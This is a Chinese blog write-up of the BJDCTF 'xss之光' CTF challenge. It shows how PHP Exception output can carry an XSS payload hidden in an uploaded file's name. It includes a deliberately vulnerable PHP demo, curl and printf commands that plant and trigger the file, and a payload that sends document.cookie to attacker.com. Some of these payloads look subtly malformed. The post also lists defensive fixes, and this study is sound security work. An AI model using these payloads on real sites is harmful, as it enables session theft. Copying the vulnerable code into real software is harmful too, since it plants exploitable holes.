news 2026/9/16 22:56:59

PHP原生类在XSS中的妙用:从Exception到文件路径注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP原生类在XSS中的妙用:从Exception到文件路径注入

BJDCTF 2nd 里有一道让我印象很深的 web 题,叫 xss之光。名字听着有点玄,实际属于那种“以为是考前端 XSS,结果把 PHP 原生类翻了个底朝天”的题。题目本身不长,但把两个知识点串得特别紧:一是 PHP 原生类里Exception__toString会在什么情况下被触发,二是当你把用户可控的字符串塞进文件路径,再输出到 HTML 上下文时会发生什么。这篇文章我会按自己的做题记录重新走一遍这道题的利用链,再把 PHP 原生类在 XSS 场景下的几种常见玩法一起讲透。如果你刚接触 CTF 的 XSS 题目,或者看反序列化题时经常被原生类卡住,这篇应该能帮你补上这块拼图。

1. 先搞清楚这道题到底在考什么

1.1 一道看起来不像 XSS 的 XSS 题

通常我们遇到 XSS 题目,第一步一定是找输入点:URL 参数、搜索框、留言板,然后想办法把<script>或者<img onerror>打进去,再看 bot 会不会带着 admin 的 cookie 访问。这套流程在大部分靶场里都成立,但在 xss 之光 里,直接用常规 payload 是打不动的,因为服务端根本没有直接回显你的参数,而是走了“实例化一个 PHP 类,再把对象 echo 出来”这条路径。

这题的核心考点就是 PHP 原生类。什么叫原生类?就是 PHP 语言自带、你不用class关键字去定义的类,比如ExceptionErrorSoapClientSplFileObjectSimpleXMLElement这些。它们平时在开发里很常见,但在 CTF 里经常被拿来干一些“不属于它们本职工作”的事情,比如触发__toString制造 XSS,或者用SoapClient::__call搞 SSRF。

xss 之光 的巧妙之处,就在于它没有把 XSS payload 直接写在输入参数里,而是利用原生类Exception__toString时产生的输出,把一段本来“看起来人畜无害”的字符串变成了可执行的 HTML。你越往深处挖,越会发现这题真正考的不是你会不会写<script>alert(1)</script>,而是你对 PHP 对象生命周期、魔术方法触发时机、以及 HTML 上下文解析规则的理解。

1.2 从源码看:题目原型通常长什么样

这类题目还原成最小 demo,核心代码一般就这几行:

<?php highlight_file(__FILE__); if (isset($_GET['cls'])) { $cls = $_GET['cls']; $obj = new $cls(); echo $obj; }

关键在最后那句echo $obj。一个对象能被 echo,要么它实现了__toString,要么 PHP 就会抛出一个“Object of class ... could not be converted to string”的致命错误,而这个错误信息同样会把类名原样输出。也就是说,只要我们能控制$cls,就能决定页面会输出什么格式的字符串。

如果题目再放宽一点,还会出现这种变体:

<?php highlight_file(__FILE__); $cls = $_GET['cls'] ?? 'Exception'; $msg = $_GET['msg'] ?? ''; $obj = new $cls($msg); echo $obj;

这种变体把构造函数参数也开放了,一开始很容易让人觉得“我把msg填成<script>alert(1)</script>不就行了”。但出题人通常会在msg上做过滤,最常见的正则是:

if (preg_match('/[<>]/', $msg)) { die('hacker'); }

尖括号直接被 ban,常规 HTML 标签进不去。这时候很多新手会卡住:msg被过滤,cls又只能填 PHP 内置类名,那 XSS 的“注入点”到底在哪?

答案藏在Exception::__toString()的输出内容里,藏在一个很容易被忽略的字段中——异常抛出的文件路径。

2. PHP 原生类为什么能成为 XSS 桥梁

2.1 原生类里藏着 __toString

先看一个很基础的例子。假设你有下面这段代码:

<?php $e = new Exception("hello"); echo $e;

浏览器里输出的不是“hello”,而是一段带堆栈信息的文本:

Exception: hello in /var/www/html/index.php:3 Stack trace: #0 {main}

这就是Exception类实现__toString后的结果。它把异常类名、异常消息、文件路径、行号、调用堆栈全部拼成一个字符串返回。关键是:这个字符串是纯文本拼接,PHP 不会对你做任何htmlspecialchars转义。

如果我们把这段输出放到一个正常 HTML 页面的<body>里,浏览器会怎么做?它会直接把这个字符串当成 HTML 源码的一部分去解析。举个例子,如果文件路径是/var/www/html/<script>alert(1)</script>.php,那么输出到 HTML 后,浏览器看到的源码里就多了一个<script>alert(1)</script>标签,JS 就被执行了。

同样的规则也适用于Error类。PHP 7 之后ErrorException都实现了Throwable接口,Error::__toString()的输出格式和Exception高度相似,都是“类名: 消息 in 文件路径:行号”。所以在实战中,ErrorTypeErrorParseError这些原生类也都可以作为候选。

有一个细节需要注意:直接访问一个抛异常的 PHP 文件时,PHP 默认的错误页面输出是带着 HTML 高亮和转义的,并不会直接执行我们塞在文件名里的脚本。所以这道题的正确玩法一定是:有一个入口把异常对象交给echo,再由浏览器解析输出,才能触发 XSS。

2.2 突破口:找到可控的“回显字符串”

Exception::__toString()会回显至少三类信息:

  • 类名,比如ExceptionApp\Error\CustomException
  • 异常消息,也就是构造函数的第一个参数
  • 异常抛出的文件路径和行号

类名受 PHP 标识符规则限制,只能由字母、数字、下划线、反斜杠组成,想在里面塞<script>基本没戏。异常消息虽然可控,但又常常被过滤。剩下最容易被忽视的就是文件路径。

文件路径之所以能成为突破口,是因为很多题目对“输入参数”卡得很严,却对“文件系统里的文件名”没有做任何过滤。比如一个文件上传点,它可能检测了 MIME 类型、检测了文件内容头,但就是没有重命名,直接把用户上传的原始文件名保存到了服务器上。Linux 文件系统允许文件名里出现<>、空格、引号这些字符,于是我们就有了把一个 XSS payload“藏”进文件路径的机会。

当这个文件被includerequire触发异常后,异常对象被echo,文件名里那个 payload 就会随着文件路径一起输出到 HTML 中。浏览器不关心这段字符当初是来自用户输入还是来自系统内部,它只看到 HTML 标签,然后执行。整个链路就成了:

上传一个文件名带 <script> 的文件 -> 页面触发对这个文件的 include/require -> 文件内的 PHP 代码抛出异常 -> 异常对象被 echo -> __toString 输出包含文件路径的字符串 -> 浏览器解析 HTML,执行文件名中的 JS

这个思路的价值在于:你绕过了对输入参数的过滤,把“系统内部会原样输出的字符串”变成了自己的可控输入。很多真实业务里的 XSS 漏洞也是这么来的——一个报错页面把服务器路径打出来了,而路径里的某个目录名恰好是用户可以影响的。

2.3 为什么标签过滤挡不住这招

普通 XSS payload 会被preg_match拦下来,是因为服务端在接收用户输入的那一刻做了检查。但文件名里的<script>不属于任何请求参数,服务端代码在处理上传时通常只关心内容类型和后缀,根本不会对文件名做标签字符的检查。等到异常发生、文件路径被拼进 HTML 时,又因为缺少输出编码,所有字符原样进入页面。

这里还要理解一个点:XSS 能不能成功,取决于浏览器在解析 HTML 时看到什么,而不是取决于服务端认为什么是“危险的”。服务端的过滤规则再严,只要最终输出的 HTML 里出现了可执行的标签结构,防御就失效了。文件路径作为输出的一部分,被浏览器解析后就是正常的标签节点和脚本节点,它不会因为“来源是文件路径”就不执行。

所以这类题的核心思维是:不要只在“用户输入参数”里找注入点,要把整个输出链路过一遍。只要整条链路上存在一个“可控且未经过输出编码”的字符串,XSS 就成立。这个字符串可能来自文件名,可能来自数据库里的历史数据,也可能来自日志文件内容。

3. 实操复现:手把手把利用链打一遍

3.1 搭建一个能复现的本地环境

先说环境,<>在 Windows 文件名里是不允许出现的,所以本地测试强烈建议用 Linux 虚拟机或者 Docker。我这边用的是php:7.4-apache的容器,挂载一个目录就能跑。

docker run -d -p 8080:80 -v /tmp/xss:/var/www/html php:7.4-apache

在挂载目录里放一个index.php,也就是题目的核心逻辑。我这里尽量还原题目常见的形态:

<?php highlight_file(__FILE__); if (isset($_GET['cls'])) { $cls = $_GET['cls']; $obj = new $cls(); echo $obj; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $name = $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $name); echo 'upload ok: uploads/' . $name; } if (isset($_GET['trigger'])) { $file = $_GET['trigger']; try { require $file; } catch (Throwable $e) { echo $e; } }

这段代码里包含三个功能:一个输出异常对象的入口、一个文件上传点、一个触发异常的入口。现实题目可能把这三个点分散在不同文件里,但本质是一样的。我们在后面利用时,上传点负责把恶意文件放上去,trigger 负责触发异常,echo$e负责把文件路径输出到 HTML。

3.2 构造恶意文件:把 payload 写进文件名

首先要构造一个“内容合法、文件名有毒”的文件。因为上传点没有限制文件类型,直接创建一个内容为 PHP 代码的文件就行,但为了贴近真实场景,我建议按图片马的思路处理:文件头放 GIF 的魔数,后面接 PHP 代码。

用命令行创建:

printf 'GIF89a<?php throw new Exception("boom"); ?>' > '/tmp/xss/uploads/<script>alert(document.cookie)</script>.gif'

这个文件名在 Linux 下是合法的。我们故意把 XSS payload 写在文件名里,文件内容只是一段会抛出异常的 PHP 代码。这样当require这个文件时,PHP 会执行里面的throw new Exception("boom"),异常对象被 catch 后,__toString就会把文件路径拼进输出。

然后用 curl 模拟上传:

curl -X POST -F 'file=@/tmp/xss/uploads/<script>alert(document.cookie)</script>.gif' http://127.0.0.1:8080/index.php

上传成功后,页面会回显upload ok: uploads/<script>alert(document.cookie)</script>.gif。这里其实已经能看出问题:上传接口直接把用户文件名回显到 HTML,但很多同学的注意力都放在这第一步上,觉得“这不就是反射型 XSS 吗,题目也太简单了”。实际上这道题的重点在后面,上传回显只是开胃菜。

接下来触发异常:

curl 'http://127.0.0.1:8080/index.php?trigger=uploads/%3Cscript%3Ealert(document.cookie)%3C/script%3E.gif'

注意 URL 里的尖括号要做一次 URL 编码,否则 curl 或者浏览器可能解析异常。访问之后,服务端执行require uploads/<script>alert(document.cookie)</script>.gif,文件里的 PHP 代码跑起来,抛出Exception,被 catch 后echo $e。页面源码里会出现类似这样的内容:

Exception: boom in /var/www/html/uploads/<script>alert(document.cookie)</script>.gif:1 Stack trace: #0 /var/www/html/index.php(16): require() #1 {main}

现在打开浏览器访问这个地址,不要看页面渲染,直接看弹窗。只要能弹出当前域名的 cookie,整条链路就通了。

3.3 升级利用:偷管理员 Cookie

弹窗只是验证,CTF 里最终要的是拿到管理员 cookie,甚至打到后端 flag。既然 payload 能执行,真正的 XSS 利用就是把 cookie 外带到攻击者服务器。

这里有个很隐蔽的坑:文件名里不能出现/,因为/在 Linux 文件系统中是路径分隔符。如果你写<script>document.location='http://attacker.com/?'+document.cookie</script>.gif,这个文件名根本创建不出来。解决方法是把 JS 里的斜杠拆开写,比如用字符串拼接:

<script> document.location = 'http:' + '//attacker.com/' + document.cookie; </script>

这样文件名里就没有字面意义上的/了。实际构造命令:

printf 'GIF89a<?php throw new Exception("x"); ?>' > '/tmp/xss/uploads/<script>document.location="http:"+"//attacker.com/"?+document.cookie</script>.gif'

当然,文件名里还能不能塞?="这些字符,取决于目标系统和题目是否有额外过滤。如果字符限制比较严格,可以把整个脚本压缩到最短:<script>fetch("http:"+"//x/"?+cookie)</script>这种形式。只要不出现/,基本都能落盘。

在攻击者服务器上,用nc -lvp 8888监听,然后让目标 bot 访问触发 URL,就能收到类似:

GET /?cookie=flag%7Btest%7D HTTP/1.1 ...

在 CTF 题目里,通常题目会给一个 XSS bot 的提交入口,我们只需要把触发 URL 提交上去,bot 会在登录状态下访问页面,cookie 就会被偷到。这一步的关键其实就是把“能弹窗”变成“能把数据发出去”。

3.4 一个小改动:有时候不需要上传点也能触发

并不是所有题目都提供文件上传功能。如果题目环境里已经存在一个文件名可控的路径,也可以直接利用。比如一个写着include $_GET['file']的页面,file参数的值如果没有过滤,我们可以直接把它指向服务器上某个已经存在的、名字带 payload 的文件。但更多时候,CTF 题目会提供一个上传点,因为这样可控性最强,出题人也方便把考点集中在“异常输出”这个环节。

还有一种情况是题目允许你控制Exception的消息参数,但过滤了<>。这时可以尝试用不带尖括号的 payload,比如<svg onload=alert(1)>这种,因为它没有闭合标签,但<>还是省不掉。真正遇到严格过滤,基本只剩文件路径这一条路可走。

4. 绕过手段与同类型变体

4.1 遇到文件名过滤怎么办

现实题目里,上传点往往不会让你为所欲为地起名。最常见的限制是后缀白名单:只允许.jpg.png.gif。但我们这个利用链并不依赖后缀,因为require一个带 PHP 标签的文件时,PHP 不管文件后缀是什么,只要内容里有<?php就会执行。所以我们可以把文件名取成<script>alert(document.cookie)</script>.jpg,依然能触发。

如果上传点把文件名中的<>替换掉了,或者干脆随机重命名,这条路就走不通了。这种时候需要换个思路,看看题目其他位置有没有可以把字符串拼进文件路径的功能。比如搜索功能可能拼接到日志路径,或者某个报错页面会把 SQL、路径、用户名直接拼进异常信息里。

另一个常见限制是文件名中不能出现=和引号。这时可以用纯字母加括号的 payload:

<script>alert(1)</script>

如果连括号都被过滤,那就得结合上下文闭合。比如路径出现在 HTML 属性的引号里,可以先闭合属性再构造新标签。总之,文件名过滤本质上和你参数过滤是一样的,只是多了一层“文件系统字符限制”的约束。

4.2 不止 Exception:Error 类与自定义异常

Exception不是唯一的选择。PHP 7 之后有一堆内置的异常和错误类,它们都实现了__toString,输出格式类似:

类名触发场景输出格式
Exception手动抛出Exception: msg in file:line
Error致命错误Error: msg in file:line
TypeError类型不匹配TypeError: msg in file:line
ParseError语法解析错误ParseError: msg in file:line
ErrorException错误转异常ErrorException: msg in file:line

如果题目对cls参数的过滤规则是禁止出现Exception关键字,我们可以换Error或者TypeError试一下。例如:

$obj = new Error(); echo $obj;

输出内容是:

Error: in /var/www/html/index.php:5 Stack trace: #0 {main}

只要文件路径可控,替换类名并不会影响利用。另外,如果题目允许自定义异常类的反序列化,或者允许通过eval动态创建类,风险面会更大。__toString只是 PHP 众多魔术方法里的一个,__wakeup__destruct__call在反序列化链里也经常被用到,这里先不展开。

4.3 原生类 XSS 利用的防御与修复

站在防御角度,这个利用链的本质是两处疏漏:一是输出异常对象时没有做 HTML 转义,二是文件路径中的文件名没有经过合法性校验。

修复方法很明确:

  • 不要把异常对象直接echo给用户,至少要先把__toString()的结果做htmlspecialchars($e->__toString(), ENT_QUOTES | ENT_HTML5, 'UTF-8')再输出。
  • 上传功能必须重命名文件,最好是随机字符串加固定后缀,禁止保留原始文件名。
  • 如果业务上必须展示路径,路径里的目录名和文件名都要经过白名单校验,过滤掉<>"'等 HTML 特殊字符。
  • 生产环境的错误页面不要向用户展示堆栈信息,把异常记录到日志,页面统一跳转到友好提示。

很多真实业务里,开发者在 Debug 模式下会把异常直接打印到页面,这些异常信息里经常包含服务器绝对路径、SQL 语句、甚至是上传文件的完整路径。一旦某个目录名或者文件名可以被用户影响,这类问题就会变成真实 XSS。

5. 做题记录里的几个坑

5.1 为什么 Exception 没有把 payload “带”出来

我在本地测试时踩过第一个坑:把cls参数填成Exceptionmsg填成<script>alert(1)</script>,结果页面输出的文件路径是index.php自身,跟msg半毛钱关系没有。原因很简单,echo new Exception($msg)的输出格式是“类名: 消息 in 文件路径”,消息里虽然有 payload,但如果消息参数被过滤,输出里就不会出现标签。而文件路径此时是index.php,根本不可控,自然打不出来。

所以这类利用的前提是:你必须要有一个可控的文件路径,或者一个可控且未过滤的消息参数。两个条件至少满足一个,否则Exception只是一串普通字符串。

5.2 为什么本地能弹,线上打不出来

本地测试成功不代表题目就能过。有几次被卡在“本地弹窗、线上不弹”,排查下来通常是这几个原因:

  • 浏览器的 XSS 过滤器拦截了包含在异常信息里的脚本标签。Chrome 的 XSS Auditor 已经废弃,但部分浏览器和 WAF 仍然会检测明显的<script>特征。
  • CSP 策略禁止了内联脚本。如果目标站点设置了Content-Security-Policy: script-src 'self',文件路径里的<script>不会执行。这时需要换<img onerror><svg onload>这类标签。
  • 文件名在浏览器请求时被 URL 编码解码后,服务端拿到的可能已经是变形字符。比如空格被%20替换,引号被编码后可能在文件系统中找不到对应文件。
  • 上传点做了二次处理,例如把文件名中的非 ASCII 字符替换成_。这种情况要看具体的过滤逻辑,换了 payload 字符集可能绕过。

我的建议是:先直接curl触发 URL,把返回的 HTML 源码拉下来看,确认异常信息里文件路径是不是原样保留了<script>。如果源码里有,就再考虑浏览器解析层面的问题;如果源码里已经被转义或过滤了,就要回到上传点找原因。

5.3 这类题后续还能怎么扩展

xss 之光 把原生类的__toString和文件路径结合得比较巧妙,但 PHP 原生类的利用远不止这一种。顺着这条线,可以继续研究:

  • SoapClient原生类:反序列化后触发__call,可以发起自定义 HTTP 请求,常用于 SSRF。
  • SimpleXMLElement原生类:可以解析 XML,__toString会把节点值转成字符串,配合 XXE 可以读文件。
  • SplFileObject原生类:能读取文件内容,配合反序列化可以读任意文件。
  • Error/Exception在反序列化链中的作用:有些 POP 链依赖__toString把对象转换成字符串,从而触发更深的调用。

从 CTF 回到实战,我在审计真实项目时会更留意三类代码:一是把异常对象直接拼接进日志或页面的地方;二是上传功能是否保留了原始文件名;三是file_get_contentsincluderequire这类函数是否接收了用户可控的文件路径。很多漏洞不是单一知识点造成的,而是“可控输入 + 危险函数 + 缺失输出编码”三件事凑到了一起。

最后分享一个做题的小技巧:遇到echo new $cls()这种代码,不要急着去猜哪个原生类能直接弹窗,先把$cls的过滤规则摸清楚,再看__toString的输出格式里有哪个字段是你能影响的。类名不行就试消息,消息不行就试文件路径,文件路径不行就绕到文件上传。一套流程走完,CTF 里大部分原生类 XSS 题都能拆干净。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 22:56:58

书霸AI|书霸AI官网www.shubaai.com|微信公众号搜一搜 书霸AI写作

下午三点&#xff0c;办公室里只剩键盘声。小林盯着文档中的一句话&#xff1a;“本文研究短视频对大学生学习行为的影响。”题目看起来完整&#xff0c;但导师留下的批注很直接&#xff1a;范围太大&#xff0c;变量不清&#xff0c;研究对象也没有边界。这类卡顿在期刊论文写…

作者头像 李华
网站建设 2026/9/16 22:55:06

家庭电脑远程唤醒实战指南:WOL+公网IP配置全解析

1. 这不是“远程控制”&#xff0c;而是让家里那台沉睡的电脑自己醒过来你有没有过这样的经历&#xff1a;人在外地&#xff0c;突然想起家里电脑上存着一份没备份的设计稿&#xff0c;或者一段还没导出的视频剪辑&#xff1b;想用手机连上去取个文件&#xff0c;却发现电脑根本…

作者头像 李华
网站建设 2026/9/16 22:53:51

MCLAG双活接入技术详解:原理、配置与故障排错实践

1. 两台交换机只能跑STP吗——接入双归的带宽困境我在一次汇聚层设备割接中碰上了这个经典难题&#xff1a;核心下挂的两台汇聚交换机要升级&#xff0c;但业务完全不能断。最常规的方案无非两种&#xff0c;一是靠STP&#xff08;生成树协议&#xff09;做冗余&#xff0c;备链…

作者头像 李华